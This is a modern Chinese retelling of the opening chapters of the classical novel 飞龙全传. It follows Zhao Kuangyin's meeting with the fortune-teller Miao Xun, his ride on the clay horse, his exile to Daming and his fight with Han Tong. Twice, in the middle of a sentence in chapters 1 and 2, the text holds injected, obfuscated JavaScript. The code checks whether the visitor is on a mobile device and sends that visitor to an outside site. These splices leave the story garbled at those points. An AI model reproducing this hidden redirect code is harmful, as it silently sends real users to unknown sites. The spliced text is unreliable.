《飞龙全传之现代精编版》 1. 第 1 章 世间的事就像下棋,国家的兴盛和衰败从来都是天命注定。不管是忠臣还是奸臣,终究很难靠侥幸成事。圣明的君主治理天下,创下的功绩能光照后世,老百姓才能过上好日子。只有把那些祸害人间的乱事扫清,天下才能安定下来——这是开篇《点绛唇》词里说的道理,也是自古以来的规矩。 要说从古到今,王朝更替都有定数。天下太平到了头就会乱,乱到极点又会重新太平,这是改不了的规律。自从唐朝末年开始,五代更替得特别快,几十年里,皇帝换了八个姓氏、十三个国君。那些割据一方的人一个接一个冒出来,战争就没停过。老百姓过得像被倒挂着一样苦,将士们打了无数仗、流了无数汗,可那些国君没一个能把国家稳住的,说到底,他们都不是上天选定的真命天子。 直到大宋的时候,真正的圣人才顺应天命出现。他登基之后,平定了那些割据的藩镇,把大好江山治理得稳稳当当,大宋的基业传了三百年,这么长久的王朝,全是因为这位君主不喜欢杀人,心里装着仁义。就说他攻打南唐的时候,特意嘱咐大将曹彬:“城攻下来之后,千万别杀人。就算南唐那边拼命抵抗,也不能伤害李煜一家人。”就这几句话,正好应了孟子说的“不喜欢杀人的人才能统一天下”。他的仁心,就算是三岁小孩都知道他是像尧、舜那样的好皇帝,不用多费口舌说。今天咱们不说他当皇帝之后的事,单说他还没登基的时候,三打韩通、在禅州和人结义这些事,说出来能让听的人吓一跳,看的人瞪大眼睛。这才知道英雄的举动,和普通人就是不一样,天生就有能掀翻天地、搅动江河的本事。就像有股看不见的力量在暗中指引,好多事都是自然而然就成了。有首诗说得好: 龙虎的行踪本就不同, 辉煌的事业自有奇迹。 要是君主肯行仁政, 真主又何必降临人间? 话说后汉高祖刘智远去世之后,太子刘承祐登基,就是后来的隐帝。这隐帝性格懦弱,没什么主见。他当皇帝的时候,虽说天下没到太平无事的地步,但战乱也少了些,日子勉强能过下去。就在这时候,有个叫苗训的先生,字光义,他能算出过去未来的事,还懂天文地理。他是奉了师傅陈抟老祖的命令,下山假扮成相士,走遍天下找真命天子。 苗训一开始在洛阳、太原这些地方转了大半年,见了不少当官的、有钱的,可没一个有真主的气象,心里早就有点着急了。后来他到了东京汴梁,在热闹的街上开了家相馆,招牌上写着“辨鱼龙定优劣”——意思就是能看出谁是普通人、谁是大人物。每天来相面的人挤破了门,都是些想当官、想发财的,苗训应付着他们,心里却一直没放下找真主的事。 这天大清早,苗训起来开馆,把帘子挂好,扫完地,正坐在椅子上喝茶,忽然看见一个年轻公子慢悠悠地走进来。苗训抬头一瞧,手里的茶杯“哐当”一下差点掉在地上,心里又惊又喜:“难道这就是师傅说的真主?”他赶紧偷偷往门外看了看,没什么熟人,这才定了定神。 再仔细看那公子的模样:眉毛像尧帝那样宽厚,眼睛像舜帝那样有神,后背像大禹那样挺拔,腰杆像商汤那样结实。两个耳朵垂到肩膀上,一看就是有大福分的样子;双手垂下来能过膝盖,这是能掌权的相貌。脸像熟透的红枣,透着光,额头又宽又亮;身材像泰山一样稳重,走路的时候像老虎、像龙,气派十足。这模样实在不一般,就算现在还没发达,将来肯定能当大官,甚至治理天下。 这人不是别人,正是后来开创大宋三百年基业、传了十八代子孙的赵匡胤,字元朗,老家是涿郡的。他爹赵弘殷现在当着殿前都指挥,是个不小的官;娘是杜氏夫人。赵弘殷有三个儿子一个女儿:老大就是赵匡胤,老二叫赵匡义,老三叫赵光美,最小的是玉容小姐。 赵匡胤出生的时候,还是后唐明宗当皇帝。那明宗皇帝每晚都在宫里烧香,对着老天说:“我没什么福气,只是因为天下大乱,被大家推上皇位。希望老天早点降下圣明的人,来当老百姓的君主。”玉帝被他的诚心打动,就派赤须火龙下凡,来治理天下。赵匡胤生在洛阳夹马营,出生那天,满屋子都是红光,还有一股特别的香味,过了一晚上都没散,所以他爹娘都叫他“香孩儿”。 后来石敬瑭认契丹当爹,借兵推翻了后唐,天下又乱了。赵弘殷带着全家逃难,挑着两个儿子(赵匡胤和赵匡义)在路上走,遇到一个奇怪的人,指着他的担子说:“这担子里是两个天子啊!别人说天下没天子,今天天子就被一担挑着走。”赵弘殷当时没当回事,后来一家人搬到汴梁双龙巷住下。直到后汉建立,赵弘殷才出来当官。 这时候赵匡胤刚满十八岁,长得又高又壮,性格大方,还特别会武功,力气比一般人大多了。他已经娶了妻子贺金蝉,贺氏温柔贤惠,把家里打理得好好的。赵匡胤天生就爱打抱不平,和同郡的张光远、罗彦威拜了把子,成了生死兄弟。这三个人每天在汴梁城里逛,看见有人欺负人,赵匡胤肯定第一个冲上去,所以城里不少人都认识他。 这天早上,赵匡胤本来和张光远、罗彦威约好去城外踏青,可他出门早,路过一条小巷的时候,看见两个地痞欺负一个卖针线的老婆婆,把老婆婆的摊子都掀了。赵匡胤哪看得下去,上去三两下就把地痞赶跑了,还帮老婆婆把摊子捡起来。老婆婆谢了他半天,赵匡胤笑着说“应该的”,心里也挺痛快,慢慢往约定的地方走,正好经过苗训的相馆。 他早就听人说这相士算得准,心里也有点好奇,就抬脚走了进去,想让苗训看看自己以后能不能有出息。可他刚进门,苗训就“扑通”一声跪了下来,嘴里喊着:“万岁!小道苗光义接驾来晚了,请万岁恕罪!” 赵匡胤吓了一跳,赶紧往后退了一步,皱着眉说:“你这道士是不是疯了?敢说这种胡话!这可是汴梁城,要是被人听见,说我想当皇帝,我全家都要遭殃!” 苗训爬起来,赶紧把门帘拉上,压低声音说:“小道没疯!现在天下大乱,隐帝不是能安定天下的人。我奉师傅的命令来找真命天子,昨天我算过一卦,说今天早上会有真主来相馆,您就是那个人啊!用不了几年,您肯定能当皇帝,您千万别不信!” 赵匡胤越听越生气,他知道这种话要是传出去,他爹的官也保不住,自己更是要掉脑袋。他指着苗训说:“你这是编造谣言,迷惑众人!别人说你算得准,我看你就是个骗子!”说着就站起来,抬手要打。苗训吓得赶紧往后躲,赵匡胤没打着人,顺手就把旁边的桌子掀了——桌子上的琴、棋、书、画掉了一地,香炉、花瓶也摔碎了。那琴还是苗训师傅陈抟老祖送他的,苗训心疼得要命,可又不敢说,只能眼睁睁看着赵匡胤把相馆里的东西砸得乱七八糟。 外面的人听见里面的动静,都围过来看热闹。有人认出来是赵指挥的儿子,没人敢上前劝,都站在门口小声议论。就在这时候,张光远和罗彦威找来了——他们等了半天没见赵匡胤,就顺着路找,看见相馆门口围了好多人,赶紧挤进来。 张光远一看赵匡胤在砸东西,赶紧跑过去拉住他:“大哥!你这是干啥?有话好好说啊!”罗彦威也帮着拉,小声说:“别闹了!这地方人多眼杂,被官差看见就麻烦了!” 赵匡胤喘着气,偷偷跟他们说:“这道士疯了!我让他相面,他居然叫我万岁!这要是被人听见,咱们都完了!” 张光远一听,忍不住笑了:“大哥,他一个疯道士的话,你别当真啊!就算他乱说话,也没人会信,自有官府来管他,你犯不着跟他生气。”罗彦威也说:“就是!这些相士都是靠说好听的骗钱,咱们不搭理他就是了。走,咱们去城外踏青,别在这浪费时间。” 两人拉着赵匡胤往外走,苗训赶紧追出来,站在门口喊:“三位留步!小道还有几句话要提醒您——此去休要入庙堂,一时戏耍见灾殃。今年运限逢驿马,祇为单骑离故乡!” 赵匡胤回头瞪了他一眼:“别再胡说了!”张光远和罗彦威赶紧把他拉走。苗训站在门口,看着他们的背影,心里想:“总算找到真主了,可现在还不是时候。我得赶紧收了相馆,再去找些有本事的人,将来好辅佐他。这样既能完成师傅的命令,也能让老百姓早点过上好日子,不用再受战乱的苦。”他赶紧回到相馆,把剩下的东西收拾好,关了门,就背着包袱云游去了。 再说赵匡胤、张光远、罗彦威三个人,慢慢往城外走。这天正好是清明,路上特别热闹:有扫墓回来的人,手里提着装纸钱的篮子,脸上还带着愁容;有小孩在路边放风筝,一个小孩的风筝线断了,风筝飘到了赵匡胤面前,赵匡胤赶紧伸手抓住,还给了小孩,小孩笑着说了声“谢谢哥哥”。张光远买了三个青团,递给他们:“清明就得吃青团,你们尝尝,这家的豆沙馅挺甜的。”罗彦威咬了一口,说:“甜是甜,就是有点粘牙。”赵匡胤吃着青团,看着路边的柳树发了芽,桃花开得正艳,心里的气也慢慢消了。 走了一会儿,张光远忽然听见远处有钟鼓声,指着前面说:“大哥,你听!好像是庙里的钟鼓声,肯定是在办道场,咱们去看看呗?”罗彦威也说:“走了这么久,我也累了,去庙里歇歇脚,喝杯茶也好。”赵匡胤点点头,三个人顺着声音往前走,很快就看见一座庙。 那庙看起来挺气派,殿宇又高又大,可走近了才发现,庙门都快掉下来了,门上的漆也掉光了。他们推开门走进去,才知道是座城隍庙,里面破破烂烂的,连个人影都没有,哪有什么道场? 赵匡胤皱着眉说:“这是座枯庙啊,连个人都没有,咱们进来干啥?”罗彦威也奇怪:“刚才在外面明明听见钟鼓声,怎么进来就没声了?这大白天的,难道有鬼?”张光远开玩笑说:“说不定是小鬼在打鼓撞钟,看见咱们进来,就躲起来了!” 赵匡胤被他逗笑了:“你就会说这些没正经的。我听老人说,钟不撞自鸣、鼓不打自响,是因为有真命天子经过。咱们三个里,难道有谁能当皇帝?” 张光远赶紧说:“那肯定是大哥你啊!刚才那相士不也这么说吗?要是大哥当了皇帝,可别忘了咱们兄弟,带带我当个小官,我也跟着沾沾光!” 赵匡胤拍了他一下:“别胡说!皇帝哪是那么好当的?这可不是闹着玩的,要是被人听见,要杀头的!” 罗彦威也笑着说:“话也不能这么说,常言说‘皇帝轮流做,今年到我家’。从古到今,也没见哪个皇帝能传一辈子的。就说现在的后汉,高祖皇帝以前还是养马的呢,后来不也当了皇帝?” 张光远接着说:“就是!大哥你家是官宦人家,比高祖皇帝强多了,说不定真有这个命!” 赵匡胤心里也有点犯嘀咕:“真有这种事?”罗彦威说:“咱们别在这猜了,不如试试!这庙里不是有匹泥马吗?咱们轮流骑,谁能让泥马动起来,谁就是真命天子!”张光远拍手叫好:“这个主意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519266|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好!咱们就这么办!” 赵匡胤见他们说得热闹,也来了兴致:“行!那咱们从年纪小的开始,罗兄弟你先骑,然后是张兄弟,最后是我。” 罗彦威一听,高兴得跳起来,从地上捡了一根树枝当马鞭,走到泥马旁边。那泥马有一人多高,是用红泥塑的,马身上的颜色都掉得差不多了,只有眼睛还是黑的,看起来挺精神。罗彦威卷了卷袖子,脚踩在马镫上,使劲一翻身,就坐在了泥马上。他心里想:“要是我能让泥马动起来,以后就能过上好日子了,再也不用听我爹的唠叨了。”他举起树枝,往泥马的屁股上抽了一下,喊:“驾!快走!” 可泥马一动不动,像钉在地上一样。罗彦威又抽了几下,胳膊都酸了,泥马还是没反应。他脸涨得通红,有点不好意思,下来的时候还差点摔了一跤,嘴里骂道:“这破马!怎么不动啊!” 张光远笑着走过去:“看我的!你没力气,当然骑不动。”他双手抓住马脖子,使劲一蹦,也骑了上去。他心里想:“要是我当了皇帝,每天都要吃红烧肉、喝好酒,再也不用跟我娘要零花钱了。”他用手拍了拍泥马的屁股,喊:“驾!”泥马还是一动不动。张光远又拍了几下,手都拍红了,泥马还是没反应。他尴尬地笑了笑:“看来我也没这命,还是大哥你来试试吧!” 赵匡胤走过去,仔细看了看泥马,点点头说:“这马的样子真不错,要是活的,肯定是匹好马。”他左手抓住马鬃,右手按住马鞍,心里犹豫了一下:“这就是闹着玩的,肯定不会动,不过试试也无妨。”他偷偷在心里祝祷:“老天在上,要是我将来真有当皇帝的命,这泥马就动一下;要是没有,就别动了。” 祝完之后,他脚踩马镫,轻轻一翻身,就坐在了泥马上。就在这时候,庙里忽然刮起一阵小风,吹得庙门“吱呀”响。赵匡胤举起树枝,往泥马屁股上抽了三鞭,喊:“驾!” 没想到,泥马的尾巴居然轻轻晃了一下!罗彦威眼睛都亮了,拍手喊:“动了!动了!大哥,泥马动了!” 赵匡胤也有点惊讶,心里想:“难道真的有这么神奇?”他又抽了三鞭,这一次,泥马的四条腿居然慢慢动了起来,驮着赵匡胤往庙门外走! 张光远和罗彦威都看呆了,赶紧跟上去。庙门外的老百姓看见一个年轻人骑着泥马走出来,都吓了一跳,纷纷围过来看: 一个卖豆腐的小贩,手里的豆腐板“哐当”掉在地上,豆腐摔得稀烂,他也顾不上捡,指着泥马说:“这……这泥马怎么会动?是妖怪吗?” 一个老太太拉着孙子躲在路边,小声说:“这孩子是谁啊?骑泥马在街上跑,太危险了!” 有个认识赵匡胤的人,赶紧跟大家说:“这是殿前都指挥赵弘殷家的大公子,叫赵匡胤。他爹是大官,难怪这么大胆!” 几个游手好闲的人跟在泥马后面,起哄说:“骑泥马当皇帝喽!骑泥马当皇帝喽!” 张光远一看情况不对,赶紧跑上去拉住赵匡胤的衣角:“大哥,别玩了!你看这些人都在起哄,要是被官差看见,就麻烦了!我和罗兄弟先回家等你,你赶紧把马送回去!” 赵匡胤也觉得有点不对劲,点点头说:“你们先回去,我马上就来。”他举起树枝,往泥马身上抽了几下,泥马掉过头,慢慢走回庙里,回到原来的地方。 赵匡胤从马上下来,低头一看,吓了一跳——泥马的身上居然全是汗,像刚跑完长途一样,汗水顺着泥马的腿往下流,在地上滴了好几滴。他心里特别奇怪:“泥马怎么会出汗?难道真的有神灵帮忙?” 就在这时候,庙后面走出一个老和尚,慢慢走过来说:“刚才是谁在骑泥马?”赵匡胤赶紧说:“大师傅,是我。您是这座庙的和尚吗?” 老和尚点点头:“我在这庙住了三十年了,这泥马是前朝留下的,听说只有真龙天子骑它,它才会动。刚才我听见马动的声音,就知道是有贵人来了。”赵匡胤心里更疑惑了,可又不好多问,只能说:“大师傅,我们只是闹着玩的。” 老和尚从怀里摸出一串佛珠,递给赵匡胤:“这串佛珠能保平安,你拿着吧。以后出门要小心,别惹出麻烦。”赵匡胤接过佛珠,道了谢,就转身离开了庙。 再说那些围着看的老百姓,把这事越传越邪乎,很快就传到了五城兵马司的耳朵里。五城兵马司是负责汴梁城治安的官,他听了之后,吓得直拍桌子:“赵弘殷怎么不管管他儿子?竟敢骑泥马闹事,这不是妖言惑众吗?按规矩,这是该杀头的罪!” 他心里也挺犹豫——他和赵弘殷以前一起共过事,算是有点交情,要是把这事奏报上去,肯定会得罪赵弘殷;可要是不奏报,万一被皇帝知道了,自己“知情不报”的罪名也跑不了。他找来下属商量,下属说:“大人,您是负责治安的,要是这事被上面知道您没报,您的乌纱帽就保不住了!宁可得罪赵指挥,也不能得罪皇帝啊!” 五城兵马司想了想,觉得下属说得对。他赶紧让人写了奏章,把赵匡胤骑泥马的事写得清清楚楚,准备第二天早上上朝的时候,奏给隐帝。 就因为这一份奏章,赵匡胤的人生要开始变了——他可能要被派到远方去当兵,也可能在别的地方遇到能帮他的人。这真是“人间的祸福都是老天定的,暗地里早就安排好了,由不得自己”。 那么,隐帝听了五城兵马司的奏报之后,会怎么处置赵匡胤呢?咱们下回再接着说。 2. 第 2 章 话说巡城兵马司都头李忠,接到下属禀报“赵匡胤在城隍庙戏骑泥马,引得百姓围观,都说这事透着古怪”时,手里的朱笔“啪”地掉在案上。他盯着下属递来的禀帖,指尖都泛了白——赵匡胤是谁?那是都指挥赵弘殷的独子,赵家世代忠良,在军中威望极高;可这事要是瞒了,万一传到圣上耳朵里,“欺君之罪”四个字足以让他掉脑袋。 李忠在值房里踱了三圈,油灯把他的影子拉得忽长忽短。窗外的更鼓敲了三下,他终于咬咬牙,唤来文书:“连夜写本,把赵匡胤戏骑泥马的事写清楚,别添油加醋,也别漏了百姓围观的细节,明日一早,我亲自递上去。”文书愣了愣:“都头,那可是赵指挥的儿子……”“我知道!”李忠打断他,声音里带着一丝疲惫,“可法度大于人情,真要瞒了,咱们都没好果子吃。” 次日清晨,后汉隐帝刘承祐升早朝。金銮殿里寒气还没散,铜钟玉磬的声音此起彼伏,撞得人耳朵发沉。静鞭响过三下,文武百官按品级排好,当驾官扯着嗓子喊:“有事出班早奏,无事卷帘退班!” 话音刚落,左班里“扑通”一声,御史周凯跪了下去,双手高举奏章:“万岁,臣周凯有本奏!”隐帝揉了揉惺忪的睡眼,示意当殿官接本。周凯的奏章字斟句酌,开篇就说“圣人不语怪,国家有常经”,接着把赵匡胤戏骑泥马的事从头到尾写了一遍,最后直言“一人倡乱,众必和之,久则祸乱丛生,恳请陛下严惩,以安民心”。 隐帝把奏章放在龙案上,扫了眼底下的百官:“周凯说赵匡胤戏骑泥马惑乱人心,你们说,该定什么罪?” 底下一片沉默。礼部侍郎王敬偷偷瞥了眼武将列里的赵弘殷——赵老将军今天穿的朝服比平时挺括,可肩膀却微微塌着,显然是早知道这事了。王敬心里犯嘀咕:赵匡胤这孩子他见过,去年上元节还跟着赵弘殷来府上赴宴,虽说顽皮了点,可也不是会谋逆的人,“妖言惑众”这罪名也太重了。他刚想开口求情,却瞥见周凯那副“若不严惩,必有后患”的模样,话到嘴边又咽了回去——周凯是出了名的“铁面御史”,得罪他,日后准没好果子吃。 过了半晌,才有个老臣颤巍巍地说:“回陛下,按律,妖言惑众当处典刑……但赵公子是功臣之后,还请陛下圣裁。” 隐帝手指敲着龙案,想了好一会儿:“按律是该杀头,可赵弘殷立过不少功,就从轻发落吧——赵匡胤不守规矩,戏骑泥马扰了民心,发往大名府充军三年;赵弘殷治家不严,罚俸一年。就这么定了。” 赵弘殷“扑通”一声跪下,额头磕在金砖上:“谢陛下开恩!”起身时,他的腿都在抖——充军三年,那孩子从小在蜜罐里长大,连冷水都没多沾过,到了大名府,可怎么熬啊! 散朝后,赵弘殷骑着马回家,一路都没说话。管家赵福跟在后面,看见老爷的肩膀越垮越低,心里也替自家公子捏把汗。 到了府里,赵弘殷把朝服往椅背上一摔,厅里的丫鬟吓得赶紧低头。他坐在太师椅上,端起茶碗喝了一口,却觉得茶水比黄连还苦。这时,夫人李氏从后堂走出来,手里还拿着给赵匡胤做的棉袍:“老爷,今天朝会顺不顺利?我给香孩儿做的棉袍快好了,你看看合不合身……” 话还没说完,赵弘殷“啪”地把茶碗摔在地上,碎片溅了一地:“还做什么棉袍!你养的好儿子!” 李氏吓了一跳,手里的棉袍掉在地上:“老爷,怎么了?香孩儿犯什么错了?” 赵弘殷喘着粗气,把周凯弹劾、圣上判充军的事说了一遍,越说越气:“这畜生!就知道闯祸!现在好了,充军三年!我赵弘殷的脸都被他丢尽了!”他说着就要往外走,“快把他给我叫出来!我今天非打死他不可,省得日后再连累我!” 李氏赶紧拉住他,眼泪“唰”地就下来了:“老爷,你别冲动啊!香孩儿才二十岁,他知道什么?再说,充军已经够苦了,你要是再打他,他身子怎么扛得住?” 赵弘殷被夫人拉着,看着她鬓角的白发,心里的火气消了一半。他叹了口气,坐在椅子上,双手插进头发里:“我也不想打他……可这孩子,从小就淘,我要是不管,他以后还得闯更大的祸。”他沉默了一会儿,突然抬头,“对了,大名府的总兵窦溶,是我当年救过的侄子,我给他写封信,让他多照看照看香孩儿,好歹别让他受太多罪。” 李氏这才止住哭,赶紧叫丫鬟去请赵匡胤。 没一会儿,赵匡胤跟着丫鬟走进厅里。他刚练完拳,额头上还冒着汗,看见父亲阴沉的脸,心里咯噔一下——准是泥马的事露馅了。 “爹,娘。”他规规矩矩地行了个礼。 赵弘殷抬头瞪着他:“你可知罪?” 赵匡胤愣了愣,随即梗着脖子:“我没罪!我就是在城隍庙跟孩子们玩,骑了匹泥马,怎么就惑乱人心了?那周凯就是没事找事!” “你还敢嘴硬!”赵弘殷气得一拍桌子,“圣上判你充军三年,你还敢骂圣上?你知道‘以下犯上’是什么罪吗?” 赵匡胤脸涨得通红,眼泪在眼眶里打转,却不肯掉下来:“我就是不服!我没做错事,凭什么充军?” “凭什么?就凭你是我赵弘殷的儿子,就得守朝廷的规矩!”赵弘殷说着,把刚写好的信递给赵匡胤,“这是给窦溶的信,你到了大名府,把信给他,凡事多忍忍,别再冲动了。” 赵匡胤接过信,心里又委屈又不服,可看着父亲疲惫的脸,还是点了点头:“爹,我知道了。” 这时,管家赵福匆匆跑进来:“老爷,府衙的解差来了,说要带公子上路。” 赵弘殷挥了挥手:“知道了,让他们在外厅等。”他看着赵匡胤,想说点什么,最后却只说了句:“路上小心。” 赵匡胤拜别了父母,又去后院跟妻子贺氏告别。贺氏把一个包裹递给她,里面装着棉衣和干粮:“夫君,到了大名府,记得给家里写信,凡事别跟人争,我和爹娘都等你回来。” 赵匡胤接过包裹,抱了抱妻子,转身走出了家门。 刚到门口,就看见两个解差站在那里,还有两个管家提着行李跟在后面。他正准备走,突然听见有人喊他:“大哥!等一等!” 赵匡胤回头,看见张光远和罗彦威气喘吁吁地跑过来。张光远手里拿着一个布包,塞到赵匡胤手里:“大哥,这是我和彦威凑的五十两银子,你带着路上用,到了大名府,别省着,也别再跟人打架了。” 罗彦威也点头:“大哥,我们知道你委屈,可现在不是硬刚的时候,等过几年,我们再想办法把你接回来。” 赵匡胤捏着布包,心里一暖,嘴上却笑道:“放心,我又不是泥捏的,到了大名府也饿不着。”可转身的时候,他还是偷偷抹了下眼角——他知道,这两个兄弟是真心为他好。 就这样,赵匡胤带着两个管家,跟着解差,往大名府走去。一路上,他们晓行夜宿,饿了就啃干粮,渴了就喝路边的井水。赵匡胤从小没遭过这罪,走了没几天,脚上就磨起了水泡,可他没说一句苦——他不想让管家担心,更不想让远在东京的父母牵挂。 走了半个多月,终于到了大名府。赵匡胤找了家客店住下,第二天一早就让管家拿着信去帅府见窦溶。 窦溶拆开赵弘殷的信,手指摩挲着信纸,心里百感交集——二十年前,他父亲病重,家里没钱买药,是赵弘殷连夜派人送了五十两银子和一箱药材,还帮他谋了个小官,这份情他一直记着。可赵匡胤犯的是充军的罪,要是太照顾,被人参一本,自己的乌纱帽就没了;要是不管,又对不起赵伯父。 他在书房里走了好几圈,最后叫来了心腹副将:“去把城西那处带花园的公馆收拾出来,再准备五十两银子的份例,每日送过去,对外就说赵公子是来帮我处理军中文案的,别声张。” 副将愣了下:“将军,这要是被人知道了,怕是会有人参您……” 窦溶摆手:“赵伯父对我有恩,我不能让他儿子受委屈。出了事,我担着。” 没过多久,副将就回来了,说公馆已经收拾好,还派了四个兵丁去伺候。窦溶又写了张请帖,让副将带着管家去客店请赵匡胤。 赵匡胤接到请帖,心里挺意外——他以为窦溶顶多给个地方住,没想到还亲自请他去帅府。到了帅府,窦溶亲自在门口迎接,拉着他的手说:“贤弟,一路辛苦了。我和你父亲是老相识,你到了这里,就跟在自己家一样,别拘束。” 随后,窦溶摆了接风宴,桌上摆满了鸡鸭鱼肉,还有大名府特有的酱肘子。席间,窦溶绝口不提充军的事,只跟他聊东京的趣事和军中的情况。赵匡胤心里的委屈,也渐渐消了些。 吃完饭,窦溶让人送赵匡胤去公馆——那公馆确实不错,有个小花园,里面种着腊梅,还有三间正房,铺着厚厚的地毯,跟家里差不多。两个管家见了,也松了口气。 接下来的日子,赵匡胤过得挺自在。每日有兵丁伺候,三餐都是帅府送来的,窦溶还时不时请他去帅府喝酒,有时候还跟他聊兵法。可日子一长,赵匡胤就觉得无聊了——他从小好动,让他天天待在公馆里,比坐牢还难受。 这天,天降大雪,赵匡胤坐在窗前,看着外面的雪景,心里更闷了。他叫来了伺候他的兵丁小李:“小李,这大名府有什么好玩的地方吗?” 小李凑近了,小声说:“公子,这大冬天的,城外的景点都没什么看头。不过,城里有个行院,里面有个叫韩素梅的姑娘,长得特别漂亮,还识字,最难得的是,她不贪钱,只愿意见英雄豪杰。前阵子有个富商拿一百两银子要见她,她都没同意。” 赵匡胤听了,来了兴致:“哦?还有这等女子?带我去看看。” 小李赶紧说:“公子,您可别冲动,那姑娘脾气倔,要是她不愿意见,咱们也没办法。” 赵匡胤笑了:“没事,我就是去坐坐,见不见得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他让小李和小王先回公馆,自己则留在了行院。这一晚,两人聊了很多,从家世聊到理想,越聊越投机,真有相见恨晚的感觉。 第二天一早,丫鬟端来洗脸水和早饭,两人正准备吃饭,突然听见外面传来一阵吵闹声,还有丫鬟的哭声。 韩素梅脸色一下子白了,手里的筷子掉在桌上:“坏了,是韩通来了!” 赵匡胤皱了皱眉:“韩通是谁?” 韩素梅声音发颤:“他是大名府的恶霸,力气大,还会点拳棒,平时在城里横着走,没人敢惹他。他早就想让我陪他,我一直没同意,今天他肯定是来闹事的。” 正说着,房门“砰”地一声被踹开,一个身材高大的汉子走了进来。这汉子身高一丈,膀阔三停,脸上带着一道刀疤,眼神凶狠,一看就不好惹。 他看见赵匡胤和韩素梅坐在一起,眼睛一下子瞪圆了,指着韩素梅骂道:“小贱人!我来这么多次,你都不见我,今天居然跟这个野男人一起吃饭?你是不是活腻了!” 韩素梅吓得浑身发抖,想往里面躲。赵匡胤赶紧站起来,把她护在身后,冷冷地看着韩通:“你是谁?敢在这里撒野?” 韩通上下打量了赵匡胤一番,嗤笑道:“你算个什么东西?也敢管老子的事!赶紧滚,不然老子打断你的腿!” 赵匡胤笑了,可眼神里却没半点笑意:“我是谁?你爷爷赵匡胤!想让我滚?你还不够格!” 韩通气得哇哇大叫:“好小子,敢跟老子叫板!看拳!”他挥起拳头,就往赵匡胤脸上打去——他平时在大名府没人敢惹,早就养成了骄横的性子,根本没把赵匡胤放在眼里。 赵匡胤早有准备,往旁边一闪,韩通的拳头打空,差点栽倒。他稳住身子,更生气了,转身又要打。 赵匡胤心里冷笑一声——他从小跟着父亲练拳,寻常三五个人根本近不了他的身,这个韩通,不过是个有蛮力的莽夫罢了。 眼看韩通的拳头又要过来,赵匡胤不闪不避,突然出手,抓住了韩通的手腕,轻轻一拧。韩通“啊”地叫了一声,疼得额头冒汗——他没想到这个看起来文质彬彬的公子哥,力气居然这么大。 “你服不服?”赵匡胤盯着他,声音里带着一丝威压。 韩通疼得直咧嘴,却还嘴硬:“不服!你有种放开我,咱们再打一场!” 赵匡胤笑了笑,手上又加了点劲:“还嘴硬?我再拧一下,你的手腕就断了。” 韩通这下真怕了,赶紧说:“服了!服了!我错了,公子饶了我吧!” 赵匡胤松开手,韩通揉着手腕,不敢再停留,灰溜溜地跑了。 韩素梅看着赵匡胤,眼里满是崇拜:“公子,你真厉害!” 赵匡胤笑了笑,把她扶到椅子上:“别怕,有我在,没人敢欺负你。” 可他心里却在想——这个韩通,肯定不会善罢甘休,以后得小心点,别再给窦溶添麻烦了。 至于韩通跑出去后会做什么,赵匡胤又会遇到什么事,且看下回分解。 3. 第 3 章 话说赵匡胤因为犯了事儿,被发配到大名府已有段日子。这日他心里闷得慌,便想着去勾栏院里散散心——倒不是贪图美色,就是想找个热闹地方解解闷。没成想刚走进院子,就听见厢房里传来争执声,凑过去一看,竟是本地出了名的“韩二虎”韩通,正揪着一个姑娘的手腕不放。那姑娘正是院里的素梅,哭得眼圈通红,嘴里还念叨着“韩爷您放了我,我真的不想陪您”。 赵匡胤本就瞧不惯仗势欺人的主儿,当下就忍不住迈步进去,沉声道:“这位兄台,有话好好说,揪着姑娘家算什么本事?” 韩通正闹得兴起,冷不丁被人打断,回头一看,见是个红脸膛的后生,穿着虽不算华贵,但眉眼间透着股英气。他平日里在大名府横惯了,哪容得旁人多管闲事,当下就把火撒到赵匡胤身上:“你算哪根葱?也敢来管老子的事!这勾栏院的规矩,轮得到你一个外乡人置喙?” 赵匡胤也不恼,依旧耐着性子说:“规矩是让人事事讲道理,不是让你强逼姑娘。你要是真有本事,就别跟弱女子较劲。” 这话可把韩通惹炸了——他“韩二虎”的名号,在大名府谁不忌惮?如今被个不知名的后生当众顶撞,脸面上哪里挂得住?当下勃然大怒,扬手就朝赵匡胤的面门打过来。那拳头带着风,一看就是常年练过的蛮力。 赵匡胤早有防备,身子往旁边一侧,轻松躲开了这一拳。韩通见一拳没中,更急了,紧接着又是一拳砸向赵匡胤的胸口。赵匡胤这回没躲,反而抬手架住他的胳膊,顺势往回一拧——韩通只觉得胳膊肘一阵酸痛,差点跪下去。他又惊又怒,甩开胳膊就跟赵匡胤扭打起来,两人你一拳我一脚,转眼就从厢房打到了天井里。 这一场打斗,可把院里的人都惊动了。老鸨王妈妈慌得直搓手,想上前劝架,又怕被误伤,只能在旁边喊:“两位爷手下留情啊!别打坏了东西,也别伤了和气!”可两人打得正酣,哪里听得进她的话。 要说这韩通,在大名府也算个狠角色,拳脚上有些功夫,寻常三五个壮汉近不了他的身;可赵匡胤更不一般,他自小习武,力气大不说,招式还灵活多变。你看韩通使出“猛虎下山”,拳头直逼赵匡胤面门,赵匡胤却侧身一躲,顺势使出“玉女穿梭”,手掌擦着韩通的胳膊过去,差点拍到他的后心;韩通又换“黄龙背杖”,想转身用胳膊肘顶赵匡胤,赵匡胤早有预判,一个“鹞子翻身”绕到他身后,脚一伸就想绊他。 两人打了足有半个时辰,依旧难分胜负。韩通心里渐渐发慌——他没想到这红脸后生这么能打,再打下去,自己说不定要输。可他“韩二虎”的名声在外,要是输给一个外乡人,以后还怎么在大名府立足?当下只能硬着头皮,卯足了劲往赵匡胤身上招呼。 